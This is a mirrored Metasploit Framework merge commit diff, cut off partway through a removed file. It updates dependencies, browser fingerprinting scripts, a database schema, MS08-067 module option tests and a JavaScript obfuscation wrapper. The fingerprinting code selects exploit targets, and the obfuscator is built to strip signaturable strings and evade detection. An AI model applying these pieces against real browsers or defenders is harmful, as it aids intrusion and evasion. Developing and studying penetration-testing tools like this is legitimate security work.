1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-16 01:21:15 +02:00

Merge branch 'master' into bug/MSP-11368/boot-profiling

MSP-11368
This commit is contained in:
Luke Imhoff 2014-09-22 10:00:07 -05:00
commit f61afe2598
No known key found for this signature in database
GPG Key ID: 5B1FB01FB33356F8
34 changed files with 765 additions and 747 deletions

View File

@ -6,12 +6,11 @@ gemspec
group :db do
# Needed for Msf::DbManager
gem 'activerecord', '>= 3.0.0', '< 4.0.0'
# Metasploit::Concern hooks
gem 'metasploit-concern', '~> 0.1.1'
# Metasploit::Credential database models
gem 'metasploit-credential', '>= 0.9.0'
gem 'metasploit-credential', '~> 0.10.1'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', '~> 0.19'
gem 'metasploit_data_models', '~> 0.20.1'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
end
@ -53,7 +52,7 @@ group :test do
# cucumber extension for testing command line applications, like msfconsole
gem 'aruba'
# cucumber + automatic database cleaning with database_cleaner
gem 'cucumber-rails'
gem 'cucumber-rails', :require => false
gem 'shoulda-matchers'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.

View File

@ -5,14 +5,15 @@ PATH
actionpack (< 4.0.0)
activesupport (>= 3.0.0, < 4.0.0)
bcrypt
jsobfu (~> 0.1.7)
json
metasploit-model (~> 0.26.1)
metasploit-concern (~> 0.2.1)
metasploit-model (~> 0.27.1)
meterpreter_bins (= 0.0.7)
msgpack
nokogiri
packetfu (= 1.1.9)
railties
rkelly-remix (= 0.0.6)
robots
rubyzip (~> 1.1)
sqlite3
@ -90,34 +91,40 @@ GEM
hike (1.2.3)
i18n (0.6.11)
journey (1.0.4)
jsobfu (0.1.7)
rkelly-remix (= 0.0.6)
json (1.8.1)
mail (2.5.4)
mime-types (~> 1.16)
treetop (~> 1.4.8)
metasploit-concern (0.1.1)
metasploit-concern (0.2.1)
activesupport (~> 3.0, >= 3.0.0)
metasploit-credential (0.9.0)
metasploit-concern (~> 0.1.0)
metasploit-model (~> 0.26.1)
metasploit_data_models (~> 0.19.4)
railties (< 4.0.0)
metasploit-credential (0.10.1)
metasploit-concern (~> 0.2.1)
metasploit-model (~> 0.27.0)
metasploit_data_models (~> 0.20.0)
pg
railties (< 4.0.0)
rubyntlm
rubyzip (~> 1.1)
metasploit-model (0.26.1)
metasploit-model (0.27.1)
activesupport
metasploit_data_models (0.19.4)
railties (< 4.0.0)
metasploit_data_models (0.20.1)
activerecord (>= 3.2.13, < 4.0.0)
activesupport
arel-helpers
metasploit-concern (~> 0.1.0)
metasploit-model (~> 0.26.1)
metasploit-concern (~> 0.2.1)
metasploit-model (~> 0.27.0)
pg
railties (< 4.0.0)
meterpreter_bins (0.0.7)
method_source (0.8.2)
mime-types (1.25.1)
mini_portile (0.6.0)
msgpack (0.5.8)
multi_json (1.0.3)
multi_json (1.0.4)
network_interface (0.0.1)
nokogiri (1.6.3.1)
mini_portile (= 0.6.0)
@ -211,10 +218,9 @@ DEPENDENCIES
factory_girl (>= 4.1.0)
factory_girl_rails
fivemat (= 1.2.1)
metasploit-concern (~> 0.1.1)
metasploit-credential (>= 0.9.0)
metasploit-credential (~> 0.10.1)
metasploit-framework!
metasploit_data_models (~> 0.19)
metasploit_data_models (~> 0.20.1)
network_interface (~> 0.0.1)
pcaprub
pg (>= 0.11)

View File

@ -1,10 +1,10 @@
window.ie_addons_detect = { };
var ie_addons_detect = { };
/**
* Returns true if this ActiveX is available, otherwise false.
* Grabbed this directly from browser_autopwn.rb
**/
window.ie_addons_detect.hasActiveX = function (axo_name, method) {
ie_addons_detect.hasActiveX = function (axo_name, method) {
var axobj = null;
if (axo_name.substring(0,1) == String.fromCharCode(123)) {
axobj = document.createElement("object");
@ -41,7 +41,7 @@ window.ie_addons_detect.hasActiveX = function (axo_name, method) {
/**
* Returns the version of Microsoft Office. If not found, returns null.
**/
window.ie_addons_detect.getMsOfficeVersion = function () {
ie_addons_detect.getMsOfficeVersion = function () {
var version;
var types = new Array();
for (var i=1; i <= 5; i++) {

View File

@ -1,10 +1,10 @@
window.misc_addons_detect = { };
var misc_addons_detect = { };
/**
* Detects whether the browser supports Silverlight or not
**/
window.misc_addons_detect.hasSilverlight = function () {
misc_addons_detect.hasSilverlight = function () {
var found = false;
//
@ -49,7 +49,7 @@ window.misc_addons_detect.hasSilverlight = function () {
/**
* Returns the Adobe Flash version
**/
window.misc_addons_detect.getFlashVersion = function () {
misc_addons_detect.getFlashVersion = function () {
var foundVersion = null;
//
@ -96,7 +96,7 @@ window.misc_addons_detect.getFlashVersion = function () {
/**
* Returns the Java version
**/
window.misc_addons_detect.getJavaVersion = function () {
misc_addons_detect.getJavaVersion = function () {
var foundVersion = null;
//

View File

@ -1,28 +1,28 @@
// Case matters, see lib/msf/core/constants.rb
// All of these should match up with constants in ::Msf::HttpClients
clients_opera = "Opera";
clients_ie = "MSIE";
clients_ff = "Firefox";
clients_chrome= "Chrome";
clients_safari= "Safari";
var clients_opera = "Opera";
var clients_ie = "MSIE";
var clients_ff = "Firefox";
var clients_chrome= "Chrome";
var clients_safari= "Safari";
// All of these should match up with constants in ::Msf::OperatingSystems
oses_linux = "Linux";
oses_windows = "Microsoft Windows";
oses_mac_osx = "Mac OS X";
oses_freebsd = "FreeBSD";
oses_netbsd = "NetBSD";
oses_openbsd = "OpenBSD";
var oses_linux = "Linux";
var oses_windows = "Microsoft Windows";
var oses_mac_osx = "Mac OS X";
var oses_freebsd = "FreeBSD";
var oses_netbsd = "NetBSD";
var oses_openbsd = "OpenBSD";
// All of these should match up with the ARCH_* constants
arch_armle = "armle";
arch_x86 = "x86";
arch_x86_64 = "x86_64";
arch_ppc = "ppc";
arch_mipsle = "mipsle";
var arch_armle = "armle";
var arch_x86 = "x86";
var arch_x86_64 = "x86_64";
var arch_ppc = "ppc";
var arch_mipsle = "mipsle";
window.os_detect = {};
var os_detect = {};
/**
* This can reliably detect browser versions for IE and Firefox even in the
@ -30,7 +30,7 @@ window.os_detect = {};
* requires truthful navigator.appVersion and navigator.userAgent strings in
* order to be accurate for more than just IE on Windows.
**/
window.os_detect.getVersion = function(){
os_detect.getVersion = function(){
//Default values:
var os_name;
var os_flavor;
@ -1121,7 +1121,7 @@ window.os_detect.getVersion = function(){
return { os_name:os_name, os_flavor:os_flavor, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version };
}; // function getVersion
window.os_detect.searchVersion = function(needle, haystack) {
os_detect.searchVersion = function(needle, haystack) {
var index = haystack.indexOf(needle);
var found_version;
if (index == -1) { return; }
@ -1137,7 +1137,7 @@ window.os_detect.searchVersion = function(needle, haystack) {
/*
* Return -1 if a < b, 0 if a == b, 1 if a > b
*/
window.ua_ver_cmp = function(ver_a, ver_b) {
ua_ver_cmp = function(ver_a, ver_b) {
// shortcut the easy case
if (ver_a == ver_b) {
return 0;
@ -1181,15 +1181,15 @@ window.ua_ver_cmp = function(ver_a, ver_b) {
return 0;
};
window.ua_ver_lt = function(a, b) {
ua_ver_lt = function(a, b) {
if (-1 == this.ua_ver_cmp(a,b)) { return true; }
return false;
};
window.ua_ver_gt = function(a, b) {
ua_ver_gt = function(a, b) {
if (1 == this.ua_ver_cmp(a,b)) { return true; }
return false;
};
window.ua_ver_eq = function(a, b) {
ua_ver_eq = function(a, b) {
if (0 == this.ua_ver_cmp(a,b)) { return true; }
return false;
};

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20140801150537) do
ActiveRecord::Schema.define(:version => 20140905031549) do
create_table "api_keys", :force => true do |t|
t.text "token"
@ -125,6 +125,7 @@ ActiveRecord::Schema.define(:version => 20140801150537) do
t.integer "host_detail_count", :default => 0
t.integer "exploit_attempt_count", :default => 0
t.integer "cred_count", :default => 0
t.string "detected_arch"
end
add_index "hosts", ["name"], :name => "index_hosts_on_name"

View File

@ -1,6 +1,10 @@
@wip
Feature: MS08-067 netapi
Background:
Given a directory named "home"
And I cd to "home"
And a mocked home directory
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
@ -8,90 +12,162 @@ Feature: MS08-067 netapi
When I type "use exploit/windows/smb/ms08_067_netapi"
And I type "show options"
And I type "exit"
Then the output should contain the following:
| Module options (exploit/windows/smb/ms08_067_netapi) |
| Name Current Setting Required Description |
| ---- --------------- -------- ----------- |
| RHOST yes The target address |
| RPORT 445 yes Set the SMB service port |
| RPORT 445 yes Set the SMB service port |
Then the output should contain:
"""
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
"""
Scenario: The MS08-067 Module should have the following advanced options
When I type "use exploit/windows/smb/ms08_067_netapi"
And I type "show advanced"
And I type "exit"
Then the output should contain the following:
| Name : CHOST |
| Description : The local client address |
| Name : CPORT |
| Description : The local client port |
| Name : ConnectTimeout |
| Description : Maximum number of seconds to establish a TCP connection |
| Name : ContextInformationFile |
| Description : The information file that contains context information |
| Name : DCERPC::ReadTimeout |
| Description : The number of seconds to wait for DCERPC responses |
| Name : DisablePayloadHandler |
| Description : Disable the handler code for the selected payload |
| Name : EnableContextEncoding |
| Description : Use transient context when encoding payloads |
| Name : NTLM::SendLM |
| Description : Always send the LANMAN response (except when NTLMv2_session is |
| specified) |
| Name : NTLM::SendNTLM |
| Description : Activate the 'Negotiate NTLM key' flag, indicating the use of |
| NTLM responses |
| Name : NTLM::SendSPN |
| Current Setting: true |
| Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow |
| authentification on windows Seven/2008r2 when SPN is required |
| Name : NTLM::UseLMKey |
| Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key |
| when the LM response is sent |
| Name : NTLM::UseNTLM2_session |
| Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a |
| NTLMv2_session |
| Name : NTLM::UseNTLMv2 |
| Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key |
| is true |
# | Name : Proxies |
# | Description : Use a proxy chain |
| Name : SMB::ChunkSize |
| Current Setting: 500 |
| Description : The chunk size for SMB segments, bigger values will increase |
| speed but break NT 4.0 and SMB signing |
| Name : SMB::Native_LM |
| Description : The Native LM to send during authentication |
| Name : SMB::Native_OS |
| Description : The Native OS to send during authentication |
| Name : SMB::VerifySignature |
| Description : Enforces client-side verification of server response signatures |
| Name : SMBDirect |
| Description : The target port is a raw SMB service (not NetBIOS) |
| Name : SMBDomain |
| Description : The Windows domain to use for authentication |
| Name : SMBName |
| Description : The NetBIOS hostname (required for port 139 connections) |
| Name : SMBPass |
| Description : The password for the specified username |
| Name : SMBUser |
| Description : The username to authenticate as |
| Name : SSL |
| Description : Negotiate SSL for outgoing connections |
| Name : SSLCipher |
| Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH" |
| Name : SSLVerifyMode |
| Description : SSL verification method (accepted: CLIENT_ONCE, |
| FAIL_IF_NO_PEER_CERT, NONE, PEER) |
| Name : SSLVersion |
| Description : Specify the version of SSL that should be used (accepted: SSL2, |
| SSL3, TLS1) |
| Name : VERBOSE |
| Description : Enable detailed status messages |
| Name : WORKSPACE |
| Description : Specify the workspace for this module |
| Name : WfsDelay |
| Description : Additional delay when waiting for a session |
Then the output should contain:
"""
Module advanced options:
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
Name : ConnectTimeout
Current Setting: 10
Description : Maximum number of seconds to establish a TCP connection
Name : ContextInformationFile
Current Setting:
Description : The information file that contains context information
Name : DCERPC::ReadTimeout
Current Setting: 10
Description : The number of seconds to wait for DCERPC responses
Name : DisablePayloadHandler
Current Setting: false
Description : Disable the handler code for the selected payload
Name : EnableContextEncoding
Current Setting: false
Description : Use transient context when encoding payloads
Name : NTLM::SendLM
Current Setting: true
Description : Always send the LANMAN response (except when NTLMv2_session is
specified)
Name : NTLM::SendNTLM
Current Setting: true
Description : Activate the 'Negotiate NTLM key' flag, indicating the use of
NTLM responses
Name : NTLM::SendSPN
Current Setting: true
Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow
authentification on windows Seven/2008r2 when SPN is required
Name : NTLM::UseLMKey
Current Setting: false
Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key
when the LM response is sent
Name : NTLM::UseNTLM2_session
Current Setting: true
Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a
NTLMv2_session
Name : NTLM::UseNTLMv2
Current Setting: true
Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key
is true
Name : Proxies
Current Setting:
Description : Use a proxy chain
Name : SMB::ChunkSize
Current Setting: 500
Description : The chunk size for SMB segments, bigger values will increase
speed but break NT 4.0 and SMB signing
Name : SMB::Native_LM
Current Setting: Windows 2000 5.0
Description : The Native LM to send during authentication
Name : SMB::Native_OS
Current Setting: Windows 2000 2195
Description : The Native OS to send during authentication
Name : SMB::VerifySignature
Current Setting: false
Description : Enforces client-side verification of server response signatures
Name : SMBDirect
Current Setting: true
Description : The target port is a raw SMB service (not NetBIOS)
Name : SMBDomain
Current Setting: .
Description : The Windows domain to use for authentication
Name : SMBName
Current Setting: *SMBSERVER
Description : The NetBIOS hostname (required for port 139 connections)
Name : SMBPass
Current Setting:
Description : The password for the specified username
Name : SMBUser
Current Setting:
Description : The username to authenticate as
Name : SSL
Current Setting: false
Description : Negotiate SSL for outgoing connections
Name : SSLCipher
Current Setting:
Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
Name : SSLVerifyMode
Current Setting: PEER
Description : SSL verification method (accepted: CLIENT_ONCE,
FAIL_IF_NO_PEER_CERT, NONE, PEER)
Name : SSLVersion
Current Setting: SSL3
Description : Specify the version of SSL that should be used (accepted: SSL2,
SSL3, TLS1)
Name : VERBOSE
Current Setting: false
Description : Enable detailed status messages
Name : WORKSPACE
Current Setting:
Description : Specify the workspace for this module
Name : WfsDelay
Current Setting: 0
Description : Additional delay when waiting for a session
"""
@targets
Scenario: Show RHOST/etc variable expansion from a config file

View File

@ -1,5 +0,0 @@
Then /^the output should contain the following:$/ do |table|
table.raw.flatten.each do |expected|
assert_partial_output(expected, all_output)
end
end

View File

@ -1,5 +1,5 @@
Before do
set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first)
set_env('RAILS_ENV', 'test')
@aruba_timeout_seconds = 3.minutes
@aruba_timeout_seconds = 4.minutes
end

View File

@ -879,19 +879,20 @@ class CCompiler < C::Compiler
r = c_cexpr_inner(expr.rexpr)
r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM
r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz
l = make_volatile(l, expr.type) if l.kind_of?(ModRM)
l = make_volatile(l, expr.type) if l.kind_of?(ModRM) and r.kind_of?(Reg) and r.sz != l.sz
if l.kind_of? Expression
o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o
l, r = r, l
end
unuse l, r
if expr.lexpr.type.integral? or expr.lexpr.type.pointer?
r = Reg.new(r.val, l.sz) if r.kind_of? Reg and r.sz != l.sz # XXX
instr 'cmp', l, i_to_i32(r)
rr = i_to_i32(r)
rr = Reg.new(rr.val, l.sz) if rr.kind_of? Reg and rr.sz != l.sz # XXX
instr 'cmp', l, rr
elsif expr.lexpr.type.float?
raise 'float unhandled'
else raise 'bad comparison ' + expr.to_s
end
unuse l, r
op = 'j' + getcc(o, expr.lexpr.type)
instr op, Expression[target]
when :'!'

View File

@ -0,0 +1,31 @@
# -*- coding: binary -*-
require 'rex/exploitation/jsobfu'
module Msf
module Exploit::JSObfu
def initialize(info={})
super
register_advanced_options([
OptInt.new('JsObfuscate', [false, "Number of times to obfuscate JavaScript", 0])
], Exploit::JSObfu)
end
#
# Returns an JSObfu object. A wrapper of ::Rex::Exploitation::JSObfu.new(js).obfuscate
#
# @param js [String] JavaScript code
# @param opts [Hash] obfuscation options
# * :iterations [FixNum] Number of times to obfuscate
# @return [::Rex::Exploitation::JSObfu]
#
def js_obfuscate(js, opts={})
iterations = (opts[:iterations] || datastore['JsObfuscate']).to_i
obfu = ::Rex::Exploitation::JSObfu.new(js)
obfu.obfuscate(:iterations=>iterations)
obfu
end
end
end

View File

@ -4,6 +4,7 @@ require 'erb'
require 'cgi'
require 'date'
require 'rex/exploitation/js'
require 'msf/core/exploit/jsobfu'
###
#
@ -17,6 +18,7 @@ module Msf
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::JSObfu
# this must be static between runs, otherwise the older cookies will be ignored
DEFAULT_COOKIE_NAME = '__ua'
@ -371,27 +373,27 @@ module Msf
window.onload = function() {
var osInfo = window.os_detect.getVersion();
var osInfo = os_detect.getVersion();
var d = {
"<%=REQUIREMENT_KEY_SET[:os_name]%>" : osInfo.os_name,
"<%=REQUIREMENT_KEY_SET[:os_flavor]%>" : osInfo.os_flavor,
"<%=REQUIREMENT_KEY_SET[:ua_name]%>" : osInfo.ua_name,
"<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version,
"<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch,
"<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion(),
"<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight(),
"<%=REQUIREMENT_KEY_SET[:flash]%>" : window.misc_addons_detect.getFlashVersion()
"<%=REQUIREMENT_KEY_SET[:java]%>" : misc_addons_detect.getJavaVersion(),
"<%=REQUIREMENT_KEY_SET[:silverlight]%>" : misc_addons_detect.hasSilverlight(),
"<%=REQUIREMENT_KEY_SET[:flash]%>" : misc_addons_detect.getFlashVersion()
};
<% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion();
d['<%=REQUIREMENT_KEY_SET[:office]%>'] = ie_addons_detect.getMsOfficeVersion();
d['<%=REQUIREMENT_KEY_SET[:mshtml_build]%>'] = ScriptEngineBuildVersion().toString();
<%
clsid = @requirements[:clsid]
method = @requirements[:method]
if clsid and method
%>
d['activex'] = window.ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
<% end %>
<% end %>
@ -453,7 +455,8 @@ module Msf
ua = request.headers['User-Agent'] || ''
init_profile(tag)
print_status("Sending response HTML.")
send_response(cli, get_detection_html(ua), {'Set-Cookie' => cookie_header(tag)})
html = get_detection_html(ua)
send_response(cli, html, {'Set-Cookie' => cookie_header(tag)})
when /#{@info_receiver_page}/
#

View File

@ -364,7 +364,9 @@ module Msf
iterations.times do |x|
shellcode = encoder_module.encode(shellcode.dup, badchars, nil, platform_list)
cli_print "#{encoder_module.refname} succeeded with size #{shellcode.length} (iteration=#{x})"
raise EncoderSpaceViolation, "encoder has made a buffer that is too big" if shellcode.length > space
if shellcode.length > space
raise EncoderSpaceViolation, "encoder has made a buffer that is too big"
end
end
shellcode
end

View File

@ -1,513 +1,17 @@
# -*- coding: binary -*-
require 'rex/text'
require 'rex/random_identifier_generator'
require 'rkelly'
require 'jsobfu'
module Rex
module Exploitation
#
# Obfuscate JavaScript by randomizing as much as possible and removing
# easily-signaturable string constants.
# Simple wrapper class that makes the JSObfu functionality
# from the gem available under the Rex namespace.
#
# Example:
# js = ::Rex::Exploitation::JSObfu.new %Q|
# var a = "0\\612\\063\\x34\\x35\\x36\\x37\\x38\\u0039";
# var b = { foo : "foo", bar : "bar" }
# alert(a);
# alert(b.foo);
# |
# js.obfuscate
# puts js
# Example Output:
# var VwxvESbCgv = String.fromCharCode(0x30,0x31,062,063,064,53,0x36,067,070,0x39);
# var ToWZPn = {
# "\146\157\x6f": (function () { var yDyv="o",YnCL="o",Qcsa="f"; return Qcsa+YnCL+yDyv })(),
# "\142ar": String.fromCharCode(0142,97,0162)
# };
# alert(VwxvESbCgv);
# alert(ToWZPn.foo);
#
# NOTE: Variables MUST be declared with a 'var' statement BEFORE first use (or
# not at all) for this to generate correct code! If variables are not declared
# they will not be randomized but the generated code will be correct.
#
# Bad Example Javascript:
# a = "asdf"; // this variable hasn't been declared and will not be randomized
# var a;
# alert(a); // real js engines will alert "asdf" here
# Bad Example Obfuscated:
# a = (function () { var hpHu="f",oyTm="asd"; return oyTm+hpHu })();
# var zSrnHpEfJZtg;
# alert(zSrnHpEfJZtg);
# Notice that the first usage of +a+ (before it was declared) is not
# randomized. Thus, the obfuscated version will alert 'undefined' instead of
# "asdf".
#
class JSObfu
# these keywords should never be used as a random var name
# source: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Reserved_Words
RESERVED_KEYWORDS = %w(
break case catch continue debugger default delete do else finally
for function if in instanceof new return switch this throw try
typeof var void while with class enum export extends import super
implements interface let package private protected public static yield
)
#
# Abstract Syntax Tree generated by RKelly::Parser#parse
#
attr_reader :ast
#
# Saves +code+ for later obfuscation with #obfuscate
#
def initialize(code)
@code = code
@funcs = {}
@vars = {}
@debug = false
@rand_gen = Rex::RandomIdentifierGenerator.new(
:max_length => 15,
:first_char_set => Rex::Text::Alpha+"_$",
:char_set => Rex::Text::AlphaNumeric+"_$"
)
end
#
# Add +str+ to the un-obfuscated code.
#
# Calling this method after #obfuscate is undefined
#
def <<(str)
@code << str
end
#
# Return the (possibly obfuscated) code as a string.
#
# If #obfuscate has not been called before this, returns the parsed,
# unobfuscated code. This can be useful for example to remove comments and
# standardize spacing.
#
def to_s
parse if not @ast
@ast.to_ecma
end
#
# Return the obfuscated name of a symbol
#
# You MUST call #obfuscate before this method!
#
def sym(lookup)
if @vars[lookup]
ret = @vars[lookup]
elsif @funcs[lookup]
ret = @funcs[lookup]
else
ret = lookup
end
ret
end
#
# Parse and obfuscate
#
def obfuscate
parse
obfuscate_r(@ast)
end
# @return [String] a unique random var name that is not a reserved keyword
def random_var_name
loop do
text = random_string
unless @vars.has_value?(text) or RESERVED_KEYWORDS.include?(text)
return text
end
end
end
protected
# @return [String] a random string
def random_string
@rand_gen.generate
end
#
# Recursive method to obfuscate the given +ast+.
#
# +ast+ should be the result of RKelly::Parser#parse
#
def obfuscate_r(ast)
ast.each do |node|
#if node.respond_to? :value and node.value.kind_of? String and node.value =~ /bodyOnLoad/i
# $stdout.puts("bodyOnLoad: #{node.class}: #{node.value}")
#end
case node
when nil
nil
when ::RKelly::Nodes::SourceElementsNode
# Recurse
obfuscate_r(node.value)
#when ::RKelly::Nodes::ObjectLiteralNode
# TODO
#$stdout.puts(node.methods - Object.new.methods)
#$stdout.puts(node.value.inspect)
when ::RKelly::Nodes::PropertyNode
# Property names must be bare words or string literals NOT
# expressions! Can't use transform_string() here
if node.name =~ /^[a-zA-Z_][a-zA-Z0-9_]*$/
n = '"'
node.name.unpack("C*") { |c|
case rand(3)
when 0; n << "\\x%02x"%(c)
when 1; n << "\\#{c.to_s 8}"
when 2; n << [c].pack("C")
end
}
n << '"'
node.instance_variable_set(:@name, n)
end
# Variables
when ::RKelly::Nodes::VarDeclNode
if @vars[node.name].nil?
@vars[node.name] = random_var_name
end
node.name = @vars[node.name]
when ::RKelly::Nodes::ParameterNode
if @vars[node.value].nil?
@vars[node.value] = random_var_name
end
node.value = @vars[node.value]
when ::RKelly::Nodes::ResolveNode
#$stdout.puts("Resolve bodyOnload: #{@vars[node.value]}") if "bodyOnLoad" == node.value
node.value = @vars[node.value] if @vars[node.value]
when ::RKelly::Nodes::DotAccessorNode
case node.value
when ::RKelly::Nodes::ResolveNode
if @vars[node.value.value]
node.value.value = @vars[node.value.value]
end
#else
# $stderr.puts("Non-resolve node as target of dotaccessor: #{node.value.class}")
end
# Functions
when ::RKelly::Nodes::FunctionDeclNode
#$stdout.puts("FunctionDecl: #{node.value}")
# Functions can also act as objects, so store them in the vars
# and the functions list so we can replace them in both places
if @funcs[node.value].nil? and not @funcs.values.include?(node.value)
@funcs[node.value] = random_var_name
if @vars[node.value].nil?
@vars[node.value] = @funcs[node.value]
end
node.value = @funcs[node.value]
end
when ::RKelly::Nodes::FunctionCallNode
# The value of a FunctionCallNode is some sort of accessor node or a ResolveNode
# so this is basically useless
#$stdout.puts("Function call: #{node.name} => #{@funcs[node.name]}")
#node.value = @funcs[node.value] if @funcs[node.value]
# Transformers
when ::RKelly::Nodes::NumberNode
node.value = transform_number(node.value)
when ::RKelly::Nodes::StringNode
node.value = transform_string(node.value)
else
#$stderr.puts "#{node.class}: #{node.value}"
#$stderr.puts "#{node.class}"
end
#unless node.kind_of? ::RKelly::Nodes::SourceElementsNode
# $stderr.puts "#{node.class}: #{node.value}"
#end
end
nil
end
#
# Generate an Abstract Syntax Tree (#ast) for later obfuscation
#
def parse
parser = RKelly::Parser.new
@ast = parser.parse(@code)
end
#
# Convert a number to a random base (decimal, octal, or hexedecimal).
#
# Given 10 as input, the possible return values are:
# "10"
# "0xa"
# "012"
#
def rand_base(num)
case rand(3)
when 0; num.to_s
when 1; "0%o" % num
when 2; "0x%x" % num
end
end
#
# Return a mathematical expression that will evaluate to the given number
# +num+.
#
# +num+ can be a float or an int, but should never be negative.
#
def transform_number(num)
case num
when Fixnum
if num == 0
r = rand(10) + 1
transformed = "('#{Rex::Text.rand_text_alpha(r)}'.length - #{r})"
elsif num > 0 and num < 10
# use a random string.length for small numbers
transformed = "'#{Rex::Text.rand_text_alpha(num)}'.length"
else
transformed = "("
divisor = rand(num) + 1
a = num / divisor.to_i
b = num - (a * divisor)
# recurse half the time for a
a = (rand(2) == 0) ? transform_number(a) : rand_base(a)
# recurse half the time for divisor
divisor = (rand(2) == 0) ? transform_number(divisor) : rand_base(divisor)
transformed << "#{a}*#{divisor}"
transformed << "+#{b}"
transformed << ")"
end
when Float
transformed = "(#{num - num.floor} + #{rand_base(num.floor)})"
end
#puts("#{num} == #{transformed}")
transformed
end
#
# Convert a javascript string into something that will generate that string.
#
# Randomly calls one of the +transform_string_*+ methods
#
def transform_string(str)
quote = str[0,1]
# pull off the quotes
str = str[1,str.length - 2]
return quote*2 if str.length == 0
case rand(2)
when 0
transformed = transform_string_split_concat(str, quote)
when 1
transformed = transform_string_fromCharCode(str)
#when 2
# # Currently no-op
# transformed = transform_string_unescape(str)
end
#$stderr.puts "Obfuscating str: #{str.ljust 30} #{transformed}"
transformed
end
#
# Split a javascript string, +str+, without breaking escape sequences.
#
# The maximum length of each piece of the string is half the total length
# of the string, ensuring we (almost) always split into at least two
# pieces. This won't always be true when given a string like "AA\x41",
# where escape sequences artificially increase the total length (escape
# sequences are considered a single character).
#
# Returns an array of two-element arrays. The zeroeth element is a
# randomly generated variable name, the first is a piece of the string
# contained in +quote+s.
#
# See #escape_length
#
def safe_split(str, quote)
parts = []
max_len = str.length / 2
while str.length > 0
len = 0
loop do
e_len = escape_length(str[len..-1])
e_len = 1 if e_len.nil?
len += e_len
# if we've reached the end of the string, bail
break unless str[len]
break if len > max_len
# randomize the length of each part
break if (rand(4) == 0)
end
part = str.slice!(0, len)
var = Rex::Text.rand_text_alpha(4)
parts.push( [ var, "#{quote}#{part}#{quote}" ] )
end
parts
end
#
# Stolen from obfuscatejs.rb
#
# Determines the length of an escape sequence
#
def escape_length(str)
esc_len = nil
if str[0,1] == "\\"
case str[1,1]
when "u"; esc_len = 6 # unicode \u1234
when "x"; esc_len = 4 # hex, \x41
when /[0-7]/ # octal, \123, \0
str[1,3] =~ /([0-7]{1,3})/
if $1.to_i(8) > 255
str[1,3] =~ /([0-7]{1,2})/
end
esc_len = 1 + $1.length
else; esc_len = 2 # \" \n, etc.
end
end
esc_len
end
#
# Split a javascript string, +str+, into multiple randomly-ordered parts
# and return an anonymous javascript function that joins them in the
# correct order. This method can be called safely on strings containing
# escape sequences. See #safe_split.
#
def transform_string_split_concat(str, quote)
parts = safe_split(str, quote)
func = "(function () { var "
ret = "; return "
parts.sort { |a,b| rand }.each do |part|
func << "#{part[0]}=#{part[1]},"
end
func.chop!
ret << parts.map{|part| part[0]}.join("+")
final = func + ret + " })()"
final
end
# TODO
#def transform_string_unescape(str)
# str
#end
#
# Return a call to String.fromCharCode() with each char of the input as arguments
#
# Example:
# input : "A\n"
# output: String.fromCharCode(0x41, 10)
#
def transform_string_fromCharCode(str)
buf = "String.fromCharCode("
bytes = str.unpack("C*")
len = 0
while str.length > 0
if str[0,1] == "\\"
str.slice!(0,1)
# then this is an escape sequence and we need to deal with all
# the special cases
case str[0,1]
# For chars that contain their non-escaped selves, step past
# the backslash and let the rand_base() below decide how to
# represent the character.
when '"', "'", "\\", " "
char = str.slice!(0,1).unpack("C").first
# For symbolic escapes, use the known value
when "n"; char = 0x0a; str.slice!(0,1)
when "t"; char = 0x09; str.slice!(0,1)
# Lastly, if it's a hex, unicode, or octal escape, pull out the
# real value and use that
when "x"
# Strip the x
str.slice!(0,1)
char = str.slice!(0,2).to_i 16
when "u"
# This can potentially lose information in the case of
# characters like \u0041, but since regular ascii is stored
# as unicode internally, String.fromCharCode(0x41) will be
# represented as 00 41 in memory anyway, so it shouldn't
# matter.
str.slice!(0,1)
char = str.slice!(0,4).to_i 16
when /[0-7]/
# Octals are a bit harder since they are variable width and
# don't necessarily mean what you might think. For example,
# "\61" == "1" and "\610" == "10". 610 is a valid octal
# number, but not a valid ascii character. Javascript will
# interpreter as much as it can as a char and use the rest
# as a literal. Boo.
str =~ /([0-7]{1,3})/
char = $1.to_i 8
